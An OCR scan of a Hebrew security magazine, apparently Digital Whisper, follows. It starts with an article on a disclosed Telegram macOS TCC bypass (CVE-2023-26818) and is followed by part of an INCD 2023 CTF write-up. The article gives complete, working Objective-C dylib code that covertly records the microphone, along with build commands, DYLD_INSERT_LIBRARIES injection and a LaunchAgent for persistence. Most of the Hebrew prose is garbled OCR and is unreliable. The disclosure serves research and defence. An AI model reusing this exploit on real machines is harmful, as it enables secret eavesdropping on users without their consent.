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macOS TCC Bypass via Telegram

NN [T NRN

aNTN

NN 7010 AWK mac0S-1 | Xin (TCC :ix'7a IX) Transparency, Consent and Control 12210
NIWN . (privacy-protected :IX) “NI'0I9N (12217 T 7V D2AMYD DTN WYX DNITR NND7 nwian
"y intent 7 [INQX IX D'YNNWNN 7 consent 7w qIO'R Y TWOKRNN 1770 DMIPMYT NINYINN

Jnmon n71yo yixna

MIX2 DY YUpan INY7 NN IR DXRY79R TWRD UNNUNn 7w 1IYR 7y y¥ann consent-i 12210
,NN'Y QNNYUNT7 NN 7V 71PN IR 0707 NIKWAN NWRan OXR'Y DUYRPY7oX CWURD wnY .nnir
NYY79RY AWONT NN wizat AIPRT wnnwnt y'op' TCC-1 71pn NU77n% nwa y¥an n'xpr7onn
NX 727 Dnv nm Y NNy DR 7NNKT7 NN D77 NYY79RN UKD WNNWNN OX .Y

consent” D'RIIP DTN '70NY7 NIMRNNN NIKYINN

NYA7 I IR YNNYNNY 7Un? ,wnnunin 7¢ 0TIy 1 JIN y¥ann Intent-n 7¢ 1IWRN (1120
NT.NN'WN M 78 YaIzn 7¥ n0Man 0'RY NPXR79Xa Yaig 'Y NNty L 7un'? .om'ion 0rto1S DNITRY?

YAz Dy TIAY? nwa N7 ARP7oKRN [271,y2170 DY TIY7 wnnunn 7¢ N na? nkn

Dy

7¥ DpaTh Y¥a7 NOWONN TWNX mac0S-a Telegram nvyp'7oX 7w w7 TOIN' XAN MMNAN
NN7 NIn 7y macOS-2 D"'0'01 D'AWIN 1901 7V 2'N1 NNa L(Dylib ix'7a IX) Dynamic library
NYI AW WK Exploit NI NW7INN 1INKR '70N D122 KN IR WNY AWK P00 Vi DR

.DN270 NUXPI79R U NIXYWAN NIYYNAXA] [1I9N7'N7

N7X ('121) JonN DX 0PNT IR 19T NYWA7 NIRYIN 'K root UNNwn? Da mac0S-aw 17 0'w7 v
Y IR) NXPI7ONRN 7Y NIIYRIN NWRAN Ny ynhwnnn NN Consent N'72'7 N'Y'79XN D DX

.(System Preferences-2 UI-0n 0T DT N1IX2 NIXWINN INMMD
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,121 INKRYT1.DNPYORA NWINN DR NN 'R NIRYY 'wndl mac0S-2 01001 D'AYIN NNd 7y 1A
I'N NXD L9011 .YAIRY NNMYI I9N'MnN nu7pn 7w pixaY exploit-d wnw' AWK Dylib-n NX 2INd)

.LaunchAgent N1y 71'nvn 7w Sandbox-nn mnNnin% 751

Entitlements
NYY79NNY NN Y 7un? nimton NIRWAN 72p% Nan 7 010N MINA'A7 NN AWK DIRWAN 19X
Y1 ynnunnn YR 7371 ORINN entitlement-n oY naimn nirn? a2y 1IsNpmMY nwa? oim

J9NEM7 NXPI7ORN 7Y NIIYRIN NN

‘79X 7w ANKA Entitlements 7y TIv TMY'7 '7on

https://developer.apple.com/documentation/bundleresources/entitlements

Hardened Runtime

:Apple developers-n nji7'n

The Hardened Runtime, along with System Integrity Protection (SIP), protects the runtime
integrity of your software by preventing certain classes of exploits, like code injection,

dynamically linked library (DLL) hijacking, and process memory space tampering.

nn 7y ,i0S-2 NINYPZIN-d NTAINY NIDIN? nnwpn 9'oin Hardened Runtime-n [12201n 0017
qKX .Hardened Runtime Dy nninn nIrn? n"w ,(AppStore) NI'Yp™798N NIIN? n'xp'798 Ni7vnY

.macOS-2 NN NI'RY N'RN IT QYT

AUN NI7IVD 7W 2NN (1120 1190 MIXIAAN 7V NRAN WK DNVARX 'ZIN 7¢ 00 9'0M NNWPNN [1121N
TAINT 210' TV 0'NDNN LLTIVENR Y7000 70N o7 awna L dylib TR e gt o

.D'M'ION DMITRA NNVAN D'N'NON TWKR D'N"I0N entitlements-2 win'w 'y ninypynnn ,7'7n

,com.apple.security.cs.allow-dyld-environment-variables :Xan entitlement-n natva  7wnY
211 X7 ,nuppm x1MNY Ty 75 73R .n2'a0 ninwn natva dylib Yw nipata 7aph o axaan
entitlement -n 7w 27w 1 P71, Team NI P’y dnnN X7¥ 07 nntp X9Y D90 Ty
INIX "V NnNN X7¢ 090 [1Iyu? 17 Wwor' com.apple.security.cs.disable-library-validation
.NMID0 7D 107 11 - nDINN 7m dylib-n 7w Anmnn nexT? DX 7020 INNRDEINRA .N1DNN

JYMY YA INNIDY D'ANT79] WIN'YI NIN'S NINWONN WK NIDINA 'UIn'y [NNARN

DYLD_INSERT_LIBRARIES

WX NIMD0 7W nn'w 7' KIN 1A D'wnnwn YWROY (Environment variable) naao manwn 10t

N7 DNPIORNY 197 YL

macOS TCC Bypass via Telegram
www.DigitalWhisper.co.il
6 2023 11,151 i



https://developer.apple.com/documentation/bundleresources/entitlements

Technologic

:D'{7N NN N2A0N NINYN NITYA N7ATNA WNNwin 751
nitva Dylib 7w nparn nawoNn 271 Hardened Runtime -3 NNTAIM NI'R '¥?™79RN YWD .1
.N2' 10 NMNWNN
entitlements-n Dy NNIX N N1dNNN 90021 .(hardened runtime) NWpM "IX1'aN YWUXRD .2
:D'M'RNNN
m 9w DT K77 DA NN 7Y YN Dylib 757 nkwnan N - Disable-library-validation .a
1AN2IY D'ARYO NINWONNA TWK NIDINA NN 3”17 IT AW .NMI900N1 Yalpn 7y onn
I vih Y
N1'0 NINWN] WIN'Y TWoNn - Com.apple.security.cs.allow-dyld-environment-variables .b

.N'"M90 7TN7? Nan 7y DYLD_INSERT_LIBRARIES nwa

Yy 7Y entitlements-ni NN'MNN NX 21727 7511 AppStore-n D70 NU¥P*79X NX T 1'WN) DX

:codesign NTI791 wIN'Y

r4~(danrevah1wdanrevah-macbookpr03)—[/tmp]

—$ codesign -dv --entitlements :- /Applications/Telegram.app

Executable=/Applications/Telegram.app/Contents/Mac0S/Telegram

Identifier=ru.keepcoder.Telegram

Format=app bundle with Mach-0 universal (x86_64 armé64)

CodeDirectory v=20400 size=470041 flags=0x0(none) hashes=14678+7 location=embedded

Signature size=4698

Info.plist entries=38

TeamIdentifier=6N38VWS5BX

Sealed Resources version=2 rules=13 files=375

Internal requirements count=1 size=224

Warning: Specifying ':' in the path is deprecated and will not work in a future release

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.ap

ple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>com.apple.developer.maps</key><true/><k

ey>com.apple.security.app-sandbox</key><true/><key>com.apple.security.application-groups</key><array><stri

ng>6N38VWS5BX. ru. keepcoder.Telegram</string><string>6N38VWS5BX. ru. keepcoder.Telegram.TelegramShare</string

></array><key>com.apple.security.cs.disable-library-validation</key><true/><key>com.apple.security.device.

audio-input</key><true/><key>com.apple.security.device.camera</key><true/><key>com.apple.security.device.m

icrophone</key><true/><key>com.apple.security.files.downloads.read-write</key><true/><key>com.apple.securi

ty.files.user-selected.read-write</key><true/><key>com.apple.security.network.client</key><true/><key>com.

apple.security.network.server</key><true/><key>com.apple.security.personal-information.location</key><true
</key><array><string>6N38VWS5BX. ru.keepcoder.Telegram</string><string>6N38VWS

o</ >< /2 >< >< >

DT WK flags-n 72y 7on011 Code Directory-2 N'7'NNNY NMIWNN NWRIN X7 YaIznw NIXY? 751

.0V 21'T 72T NNYPNN DX NIXY? 7211, hardened runtime 7 Nnpna .none-d

211,271 .macOS App Store-7 nN7WINW N'¥P'79XN NOTA NN IN'WpN K7 Telegram-w nX1 i
N7V ominnn Entitlements-7 nion'nn niw X7 nn'w' DYLD_INSERT_LIBRARIES-2 wnnwn?

.(N'7un7 codesign-n NTI9 7w 0790 102 XML-D Naxin Entitlements-n Nn'ww 17 0'w)
Dylib-n nnxe

|'Thn TWK Dylib 21md1 ,xan 27wa .Objective-C-a dylib 1x*7 25 0TI 10X dylib 7t nan 7y

‘telegram.m DWA UTN Y27 11X .70TN 7V NUYRNN DR MNIYI [1I9NM7
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<Foundation/Foundation.h>

((constructor))
void telegram(int argc, char **argv) {
NSLog(@"[+] Dynamic library loaded into %@", argv[@]);

.dylib nX [IVV7 IN7¥NW XTIY 721w NN 7V nYTIN JonY? 0'9 TN 7'Nn)

7w main-n N"NPI9 NN 197 YNNW NXj71190 DX [non __attribute_ ((constructor)) -w 17 m'w

(D170 - nTN MpPna) dylib-n IR NPAT DYIRY DYZY7ORN

:£CCNIOTY] N'MID0N NX 'TDYJP]

gcc -dynamiclib -framework Foundation telegram.m -o telegram.dylib

INXNA YaIPN DX 791172 Nan 7Y gee-n NTIR97 Foundation framework-n Nk qroIn? 71u¥aw 17 0w

.(NSLog) na nunnwni n'™M10Y7 import nyx'av

:DYLD_INSERT_LIBRARIES N220n NINWN NITYA 1790 7W 190N NIX [IYV7 7211 ,nyd
$ DYLD_INSERT_LIBRARIES=telegram.dylib
/Applications/Telegram.app/Contents/Mac0S/Telegram

:N2N 0790 NN DRI WK NN7¥NA N'MI90N DX |IDU'7 1IN7¥NY AR

[+] Dynamic library loaded into
/Applications/Telegram.app/Contents/MacOS/Telegram

hardedend "’y nupmw INX X122 DYLD_INSERT_LIBRARIES-2 wnnwn'? N0l DX 17 D'w)

22710 0790 DR DRI K71 NTMI90N DX [IY07 7211 K7 D'RINN entitlement-n X771 runtime

:N'MI90N NN |IYV'7 NI Safari DR XNAIT? NP1

DYLD_INSERT LIBRARIES-telegram.dylib

/Applications/Safari.app/Contents/Mac0OS/Safari

XINY NIXY? 7211) NURIN IXI'ANY INKRA D71 ,|0N7 NOTONN DX DTN NPNa DR X7Y 17 D'l

.(codesign NTya NY7In

DTN MXY'Y telegram.m-n YaIp? utN .TIign N2MdY? Y'wn dylib-n NX [1vo? nn¥nwn ,nyd

.N077NN DR Y2IR7 YIYE NMY 3 Wn? [1I5Npm7 ['TRAY TI 2mdal

9011 import yalzn WX 9'011 271 AVFoundation Framework-2 wnnwa nu7pn y¥a? nm 7y
<AVFoundation/AVFoundation.h>

NX 7nIn1 AVAudioRecorderDelegate-n NN wnnn WWX AudioRecorder np'7nnn NX 2INd1 NYD

Y2177 Dmwnl nupnn 17NN

macOS TCC Bypass via Telegram
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:NVPNN DR INTOL I7'NN WX NIMP'Y NIYNAID MY 1 TA)

@interface AudioRecorder : NSObject <AVAudioRecorderDelegate>
@property (strong, nonatomic) AVAudioRecorder *audioRecorder;

- (void)startRecording;
- (void)stopRecording;

@end

:AudioRecorder-n N7'7Nn NX ' TANW Setup N'¥7219 7W NITAN YV NR'7NNN winm7 11aval

- (void)setupAudioRecorder {

NSError *error;

NSURL *tmpDirectoryURL = [NSURL fileURLWithPath:NSTemporaryDirectory ()
isDirectory:YES];

NSURL *outputFileURL = [tmpDirectoryURL
URLByAppendingPathComponent:@"recording.wav"];

NSDictionary *settings = @{
AVFormatIDKey: @(kAudioFormatLinearPCM),
AVSampleRateKey: @44100.0,
AVNumberOfChannelsKey: @1,
AVEncoderAudioQualityKey: @(AVAudioQualityHigh)

I

self.audioRecorder = [[AVAudioRecorder alloc] initWithURL:outputFileURL
settings:settings error:&error];

(error) {
NSLog(@"Error setting up audio recorder: %@", [error
localizedDescription]);

J

}

self.audioRecorder.delegate = self;
[self.audioRecorder prepareToRecord];

Mmu'y 0790 Yal? IX NAYTanl N'0'0a A Aol Dy audioRecorder-n NX N'Tan n'Xj72219n

.recording.wav DUN NNN tmp-n N"'7'N7

Objective-C-a 191w delegate pattern-2 D'wnnwn prepareToRecord-ni delegate-n 7w naTann
2V qJunna wnnmw delegate functions-7 X1j7'w Audio Recorder-7 'n2inn VP AIXN DX 1'AVYN DXV
NN D'YUNN NNIXY 'Y NR7NNN NNTANAY 0 27 0'wa .AVAudioRecorder 7w win'wal np'7nnn

:AVAudioRecorderDelegate 7w 71710190

self.audioRecorder.delegate = self;
[self.audioRecorder prepareToRecord];

(12197 NTAINW start/top-n NIYYRAI9 X wnnY? 7511 nwd

- (void)startRecording {

[self.audioRecorder record];
NSLog(@"Recording started");

macOS TCC Bypass via Telegram
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}

- (void)stopRecording {
[self.audioRecorder stop];
NSLog(@"Recording stopped");

IX 7'NNN7 NIn 7Y 0TI 1NX'W audioRecorder-n UPMAIXR 7 NI'VITN NI'YAIDT NIXIPZ NI'XAION
211090 NX wNnY? 7511 stop-l start ,setup-n N'¥PAI9 NN NYNMY NN .N07PNN DX 7'0907
NP7NNTAINY delegate

- (void)audioRecorderDidFinishRecording: (AVAudioRecorder *)recorder
successfully: (BOOL)flag {

(flag) {
NSLog(@"Recording finished successfully. Saved to %@", recorder.url.path);

{
NSLog(@"Recording failed");

oy NN"'NoN NV7PNnY 117 [Nonw audioRecorderDidFinishRecording X'n Wnnlw nT'N'N N'¥j7190
AWK dylib-n 7w N'WRIN NYXRAI9D AR DR W L9101Y recording-n Wy 1AW X'7nn path-n

.constructor attribute-n NN NYTAIN

"> NNIX 1IXYI 21 NXR71 DY 3 qun? nu77nn DX 7'Nndil AudioRecorder-n LP'AIRN DX 1T
N yaIpnw

((constructor))

void telegram(int argc, char **argv) {
AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];
[audioRecorder startRecording];
[NSThread sleepForTimeInterval:3.0];
[audioRecorder stopRecording];
[ [NSRunLoop currentRunLoop] runUntilDate:[NSDate

dateWithTimeIntervalSinceNow:1.0]];

}

JIRD K70 TIPn DX NIXY? 01, 10T

<Foundation/Foundation.h>
<AVFoundation/AVFoundation.h>

@interface AudioRecorder : NSObject <AVAudioRecorderDelegate>
@property (strong, nonatomic) AVAudioRecorder *audioRecorder;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation AudioRecorder

- (instancetype)init {

macOS TCC Bypass via Telegram
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self = [super init];
(self) {
[self setupAudioRecorder];

self;
}

- (void)setupAudioRecorder {

NSError *error;
NSURL *tmpDirectoryURL = [NSURL fileURLWithPath:NSTemporaryDirectory() isDirectory:YES];
NSURL *outputFileURL = [tmpDirectoryURL URLByAppendingPathComponent:@"recording.wav"];

NSDictionary *settings = @{
AVFormatIDKey: @(kAudioFormatLinearPCM),
AVSampleRateKey: @44100.0,
AVNumberOfChannelsKey: @1,
AVEncoderAudioQualityKey: @(AVAudioQualityHigh)

};

self.audioRecorder = [[AVAudioRecorder alloc] initWithURL:outputFileURL
settings:settings error:&error];

(error) {
NSLog(@"Error setting up audio recorder: %@", [error localizedDescription]);

)

}

self.audioRecorder.delegate = self;
[self.audioRecorder prepareToRecord];

(void)startRecording {
[self.audioRecorder record];
NSLog(@"Recording started");

(void)stopRecording {
[self.audioRecorder stop];
NSLog(@"Recording stopped");

- AVAudioRecorderDelegate

(void)audioRecorderDidFinishRecording: (AVAudioRecorder *)recorder
successfully: (BOOL)flag {

(flag) {
NSLog(@"Recording finished successfully. Saved to %@", recorder.url.path);

{
NSLog(@"Recording failed");

((constructor))
void telegram(int argc, char **argv) {
AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];

macOS TCC Bypass via Telegram
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[audioRecorder startRecording];
[NSThread sleepForTimeInterval:3.0];
[audioRecorder stopRecording];

[[NSRunLoop currentRunLoop] runUntilDate:[NSDate
dateWithTimeIntervalSinceNow:1.0]];

}

Frameworks-n MW7 AVFoundation X '0In7 110X 0'1'WN INX7 Yalpn DR 79177 nan 7y
:gcc-n NTIPO]

gcc -dynamiclib -framework Foundation -framework AVFoundation telegram.m -o
telegram.dylib

Dylib 7w npqath

-0 DX 771 0TI 1'WYY 1nd DYLD_INSERT_LIBRARIES 100192 wnnwal Dylib-n MK Nz DX DD

¢

“Terminal” would like to access
the microphone.

:NIN2N NYTINA 77n1 Telegram-7 Dylib

Don’t Allow OK

-1 ?IND NI DYV NN TR !D1A70 Dipna 1IoNpmY nwa 73R nom 71'mIun NYXRYORY NN
17w Sandbox-n 7'9N9 DX NIWAIY NIFYRY79RN L7100 T NIYPYIOKR DY 1R TWRD mac0S

J19NPM7 NWIN NX 7'2an 71'N10n KT TN 27w nR1aLPYI

,71'M0 WNNWNYT DI .DINK )T AN2'79RN DK YN 110X Sandbox-n R izy'? nan 7y
NXN DX ATNY1 Y 0DMAN YNN7 117 AWONN CWR LaunchAgents-n 112102 wnnwin'? 7on

.onw

-0 N"P'N NNN com.telegram.launcher.plist bwa TN yalz 71X TN LaunchAgent 1x'"'7 nan 7y
DYLD_INSERT_LIBRARIES-n NX 29157121 XML-D> LaunchAgent-n NX 'Ta1~/Library/LaunchAgents.
N2N N2

version="1.0" encoding="UTF-8"?>
plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"

"http://www.apple.com/DTDs/PropertylList-1.0.dtd">
< version="1.0">

macOS TCC Bypass via Telegram
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>Label</ >
>com.telegram.launcher</
>RunAtLoad</ >
/>
>EnvironmentVariables</
>

>DYLD_INSERT_LIBRARIES</
>/tmp/telegram.dylib</
>
>ProgramArguments</ >
< >
>/Applications/Telegram.app/Contents/Mac0S/Telegram</
</ >
< >StandardOutPath</ >
< >/tmp/telegram.log</
< >StandardErrorPath</ >
< >/tmp/telegram.log</

:LaunchAgent-n NX yMai

$ launchctl load com.telegram.launcher.plist

.Sandbox-n 7'91197 12'0'7 path-2 Mmw' yalpn Sandbox profile by NN TamM D170 "NRNY 17 D)
:/tmp/telegram.log-2 72101 DX NVZPNN NNNW] DIZ'A NTRALDAI7N IR NIRYYT 701

$ cat /tmp/telegram.log
2023-04-07 14:16:46.355 Telegram|13634:2506647 | Recording started
2023-04-07 14:16:49.457 Telegram|13634:2506647 | Recording stopped

2023-04-07 14:16:49.458 Telegram|13634:2506647 | Recording finished
successfully. Saved to
/var/folders/0k/f6bdvnb52kbilwgkq2qgd@7nh@@mkwl/T/ru.keepcoder.Telegram/recorded
_audio.wav

.NN7¥N2 MW nL7PNN Yalrwi Dylib-n DX TR 1IN7¥NW AR

UNNUNn DR 0YPNY71 Dylib 7w ApaTh NITYa D1A70%7 INIY NIRWIND wnnwn? nn7xn ,niD
AN9¥NI1 19PN ¢ AN 07221 11N [TV - NDWNY root NWRA 117 NNY'N DX DAY A1 1N
TNIX QIPY7 117 AWOKRNI NIDON NIXYAN 117 2'wn? 071" "W TY NY'798 W nwlind win'y 271

© 99X 7w NI'v19N 11N

nin'oY

wnNUnn NIro1oY 17w NI'wNn NREmac0S-2 TCC-n 11210 7W ['YIN DR 1Y e
Hardedend Runtime, Entitlements, Dylib 1770w n"o'oa AWM 7Y 11Ny @

YaIP? nu7Pnn DX NIYIENMY 3 un? 1snpmY 'tk Objective-C-2 wTn Dylib yaip 1y e

macOS TCC Bypass via Telegram
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LaunchAgent 7w n1Tan T 7 71100 7w Sandbox-n Ni72an NX 1197y
NUOX Y DIP'AN DX 11'R1 D70 7w sandbox-n 7'91197 '2'070 DIFNA MWl Yaignw 'R

Dylib.-n nIM's 170NN 770> 1x'w DA

2 XM, p7nnn N7'NN TN DT NIY

NYLINn NX'¥n :03/02/2023

N'7910 X7 ND TVW security@telegram.org '7in nirlan>nin 1oon :16/03/2023 - 03/02/2023

MITRE-7 nw72inn ni'T:10/02/2023
NNIoTDI NYWYINN |I7'N%? 0170 7N DIXN'MA NITY N7277 VINCE-7 Nt :26/03/2023
.NY7INN 01019 7V "Amw” CVE N2 - CVE-2023-26818 :05/04/2023

.NY2INN NNnOoTIS 12w DI'nl VINCE-2 qinn Ny'79 |t :15/05/2023

XN

© A1'?XN1A1'0NQ YT NNLVAXNY? NANN [N OV N1dIN 0TINN

Dan Revah // Software Engineer at Google // iOS development
Linkedin, Github
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INCD 2023 CTF Writeup

121921 DYI NNN

aNTN

mMIixXd 1Yn'y o"nNn NNl DN 0M'N .0"YIoIN 0 1TNym NINT? NIYTN 0T D'YUSNNA DN
02X D'TAVINNY DNANK DNXIE' N2 NNANL,N9I7ND 1NN TAvinn N71D' NX Www? D N1y

AN NI NNIX2 NTTNAENINA) nnan! Bkl plhaby;

NNX 787W2 AN 01'Myn DNANK X7 D700 W ,02ron NiNiva TNifA 10 AT aynn
NINN'D DX 022NN 0NV 0'91A DYUN DNANK WIADY (MW D'NY9 190N D'ﬂ'U'?I) muy

(2023 |"ax ManK )7V DNoN XD, P) LNV

.2023 'iIx'7n 12ron wn 'y DoNIDY Junior Researcher Challenge-n NX 1IN91 ,NT 1XN2

2'nnavw 194y

XYI1 DY NiNd'N ||n1'7 X2 NANKN '7OW) ,011Y DNANK 190NN 0NN oo nwy p'?lnn 1ANKN
2 "MNX7I ,n“|,7 wnn? n'Y9IXN NINY [IYUXIN YOpNN DI'o .11INN1 T Nd™TI MA'on n71yn

AN DR N72R 20 172" INIK INXY DIDSNNYAY D TIj' §'0IN "IN YO7Nnn MaNX

DYINY? [N D71 7702 DIWN7 NIMR PR D UYWL, TIZ DI TN WIDNY7 DYY9IRD NINYD DY TN
72ITA DYV 2IR TR UMW TIRNN DYDY [11200Y D 1NN TR0 DR WIDAY1 1901 DYD NANKY

© ?1an 1anxa
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JITIR1 150 ,"Login Page" :[IWXN NANKN

S2TN DR RIXNT 1'Naint login.html bwa yal 1227 Nt anxa

Junior researcher challenge
login page (150)
Junior webint analyst challenge

Send us your CV only after submitting all the answers (©) Challenge
Activists campaign (500)

APT research (500)

Information processing (500) ]Og-i n page
150

Download the html file and find the flag

View Hint
View Hint

X 1ogin_htmi

Submit

227N NIX PITA7 AWONNN NINDdI VOV NN DY '72 HTML T WIao) yalzn NN

|Enter the flag || Click to check the flag |

NANKA [NNS

AMwy HASH 7m IMIX nnwni 10120V Input-n 7y SHA1 nyx¥an na'nn S NIKYY [N NXRD T2
-0 DR N7 W'Y 1D IR 7271 00T 0-HASH-nE nTnal (7210 7w HASH-n ,nn% naw '9d) qTa
"7 Y'Y NMINN N7I0' IR PITA7 X7 X'D1ANKRD DNVN D NN LINIK 11AYY7 N1017 N1 72T 7w HASH
[ORI ,INIX RIXN? NINXR T 'MY9'N K78 Brute force-2 HASH-n Nx 11aw? 'm'oa X7 p'21 ,PCa

.HASH-N NX O TI'RY INKX 'MINXN 72122 ¥ WI9'N

pnnw HTML-n TIp

document.getElementById("prompt”).onclick
> = document.getElementById("flag"
(Shal.hash(flag) == "940 3524ec
alert("(

{
alert("Ops,

INCD 2023 CTF Writeup
www.DigitalWhisper.co.il
16 2023 11,151 i




:Hash-n nX'¥n

Sha1l Encrypt & Decrypt

9408b6fc3524ec82d20ed65bb0a93178cb5565dd

Encrypt Decrypt

9408b6fc3524ec82d20ed65bb0a93178cb5565dd : hash_me

“hash_me” :7aTn .https://md5decrypt.net/en/Shal/ :nunnwn 12 NX

"Save the file" :awn MAanxN

S22T0 X DDIMN Y7NY7 NWATAI p.pem Yl file.enc yalz 11727 N7 aNNA

Junior researcher challenge

Challenge
pcap investigation (158)

save the file

Junior webint :

r submitting all the answers (8)

150

Save the .enc file

Unlock Hint for 50 peints
Unlock Hint for 50 points

& file_enc

Next Challenge

MANNN [INNO
NIX NINS7 NT NIYYY 117 INWIY N 70 ,NN9N 12'0 p.pem YaIpnl ,|9¥IN yalp Kin file.enc yaipn
[9XIMN Y2l DRI SSL NINN9N Dy NI7IV9 NMWoRNN “openss| pkeyutl” NTIpo1 'Mmwnnwn .n1oxnn

LaTn nx 7on

user@kali: ~/Downloads
File Actions Edit View Help

~/Downloads

openssl pkeyutl -decrypt -in file.enc -inkey p.pem
you_got_the_rsa_flag

~/Downloads

“you_got_the_rsa_flag” :'"atn

INCD 2023 CTF Writeup
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https://md5decrypt.net/en/Sha1/

"PCAP Investigation" :'w'7wn Nanxn

NN TN 0ADINY 077N W7 NN Yala Y'omy 721 D n'nant PCAP yalp 172y nr 1anxa

XXXX_XX_XXX - nann

Junior researcher challenge

pcap investigation (150)

Challenge
Junior webint analyst challenge
your CV only after submitting all the answers (@) = = =
e e ((58E) pcap 1nvestigation
APT research (500)
Information processing (5@8@) 150

Investigate the PCAP file in order to
find the flag.

1. The flag consists of two parts
2. flag structure - X0 XX XX

Unlock Hint for 30 points

Unlock Hint for 30 points

Unlock Hint for 30 points

Submit

NANKN [NNO

0970 NA'MD X'N MNY'Y NIIYRIN 0T TANK7 'MYa WUNRD .NTaY XY |NNS5N 1NTa 7NN

2%7W 701 INK DINA regex-n IR JNINI regex '97 722Tn N wonn ,PCAP-n 7w DINn 7y Navw

227N P70 2 2 NN PN DT 2R R (XXXX-XX-XXX) 72T 0n0io DX DT RY (1D 10X
N1 DTN (XXXX-XX-XXX-7 N7X19n nyTInn D Nt1) PCAP-2 XXXX-XX-XX YN NX w5N1 ,X¥N)
N'011 7D ,NR7N P XXKXX-XXX-T7 NXION NYTINN D N1 XXXX-XX-X- 2N W7 1'unl X¥n)

WD NNN DN NNTWN WANA KIXAY 7211w 11201 72T 7w [IWRY 'XN 7 RN

11'2y NIYZN7 1x1 70N X ,N71VyNn Tay 090N D NI 1790 NYYK ...72TN IR K¥N X7 V970N

© nxp

MINXN [DXI .0"0AI7 NIND 7 INMY 07171009 PCAP-nn q'wn71 ,nAT PCAP-n 72 TIAy7 'Nn7nnn

J"wyn X112 790w info Wi T TIWNI R Date 1w DY N-HTTP niwpn

INCD 2023 CTF Writeup
www.DigitalWhisper.co.il
18 2023 11,151 i




Technologic

NIX NRX¥N X7 MIYKRIN TN VITA 11aon) 1nw'7D Encoding 12y Date NNN y'simwy 1wnw [amd
nNnann Base64-n T8I Base32-n nnin D 'Mxyn CyberChef 2 Tnan "0 Dy pnwn nivynxal, (72T

2270 7w IWRIN YN DR

2T 7w IWURIN XN 72700 DINnN DKI

“pcap_me_<very good, you need to find a number to complete”
0077-7 panw info-n MIN1'AN DIAONA 72NN WD PN

:HTTP-n nn'w 7w TCP Stream

GET / HTTP/1.1

Host: 127.0.0.1

sec-ch-ua: "Chromium”;v="111", “"Not(A:Brand”;v="8"

sec-ch-ua-mobile: 20

sec-ch-ua-platform: "Windows™

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=8.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Date :MNDU42DDIY4XIWSWHA4GI 3KWPFSVGQTOMIZDS22MINBDKYRTKVTWE 3KWNRNEGQRQMIAUE 3L BKA2WWSKHIVTWE 3SWORMW2VTZJFEFESSJISHHMYSYIIZVUNCSNRE
Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 21

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

info: 00110000 00110000 00110111

Connection: close

:CyberChef-'7 Date-n o1 7w no1dN

Recipe Bl E  inpu + O3 8 =
Q mn MNDU42DDIYAXIWSWHA4GI3KWPFSVGQTOMIZDS22MINBDKYRTKVTWE 3SKWNRNEGQ
From Base32 - RQMI4UE3LBK42WWSKHIVTWE 3SWORMW2VTZIFEFESSI ISHHMYSYIIZVUWCSNRE
Alphabet
A-72-T= D Remove non-alphabet chars
From Base64 O n

Alphabet

A-Za-20-9+/= |:| Remove non-alphabet chars

[ strict mode

mmc 123 = 1 Tr Raw Bytes 4= LF

Output B0Om®:¢

lpcap_me_<very good, you need to find a number to complete

INCD 2023 CTF Writeup
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:info-n mN2'AN DIAON

Recipe <N ] Input + 038 =

- <) 00110000 eolleeee eellelll
From Binary & N

Lelimiter byte Lenath

Space 8

mac 26 = 1 Tr Raw Bytes <= LF
Output B0® ¢
2987

“pcap_me_007" :apnnw 72T

wnnun ,n7'W' NN NIXa VopL W DY Encoding-1 DX |2 NIMNN YWORN CyberChef "7on
-0 "y 1IN anda ;-OpenSource 1Y 700 .ARXIN 72701 ,TIAW 1Yt 0oL 1'97 "jPNN" NIA

.Github-2 w1 (7"7 ,nn'7n TIn 7w N-8200-n n'7'apnin) GCHQ

:GitHub-2 "7 w7 e

https://github.com/gchq/CyberChef

#-Web Build-771wy7 e
https://gchq.github.io/CyberChef/
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"Under Maintenance" :'y'a1n JANKNN

.97Tn T2 ['avn PIN X771 “Under Maintenance” vopuN NX 7'onn TMy7 NI 1727 NanKa
i i i i

Junior researcher challenge

Challenge
Under Maintenance (150)

Junior webint analyst challenge -
Send us your CV only after submitting all the answers (0) Under Ma—l ntenance
Activists campaign (500)
APT research (500) 150

Information processing (560)
The flag format - Flag{This_is_Example}

Submit

Under Maintenance

There is nothing to see here

NANKA [NNS

NNd A'wn'? N0 ,NT 2101 MANKY7 D'WAIWD .1D1IN XAN MANKN DX XXN' 121N yawin 0'-CTF 2ain '
12 'MIXYN [XI robots.txt-7 NwWa'? 'Mr'o1 .(Reconnaissance/Scanning-n 27w) n1unn 2y 0'OYS NI'Y
“/kifjf/” n1myn nYp'n-Nn

User-agent: *

Disallow: /kifjf/

27270 V91N ,N"INX 'M0101WD

Flag{Robet_Fl@g}

D"V X7 ONNA 07N 7R WID'N 'WIMYT7 7n0n ONRN 7V DT YAl 1'n robots.txt yalpn
DN7Y D'VION NN'YI NAXNA D'MIYN K7W D00 NK NNAIT? 1IND D'YNNWYNT? DAl OpITI'RY

“/portal” IX “/admin” N> 02" yn 0TIV Y2172 XXN1 D'NYWY .WID9'NN 'ViIna

“Flag{Rob0t_F1@g}” :7aTh
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"Only jpg?" :'wmnn MaNKN

SN DR RIXNT NWATAL'OI7NYT NN NTRIY NN Y2l 1727 0T ANKa

Junior researcher challenge

challenge

only jpg? (300) : .
nt analyst challenge On-l y J pg ,

your CV only after submitting all the answers (@)
Activists campaign (500) 300
APT research (580)

Information processing (500) Find the hidden flag

Unlock Hint for 50 points
Unlock Hint for 50 points

& nag.ipg

Submit

NlinnNn

_-‘“\

2023 CTF Challenge
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NANKNA [NNS

T7NNN AT MANKX ,N2IN2 D'01D 'IN'YTE NPT NINAXK NYWATIE NJINN n'n,‘mn N2 DMANX? TIA2
yTm U InT X7v 72 ,NXR VTN |INA VvTn NINANNY ON'NN AWINN .N'9IA11200 NY71¥ UO01Ip7a
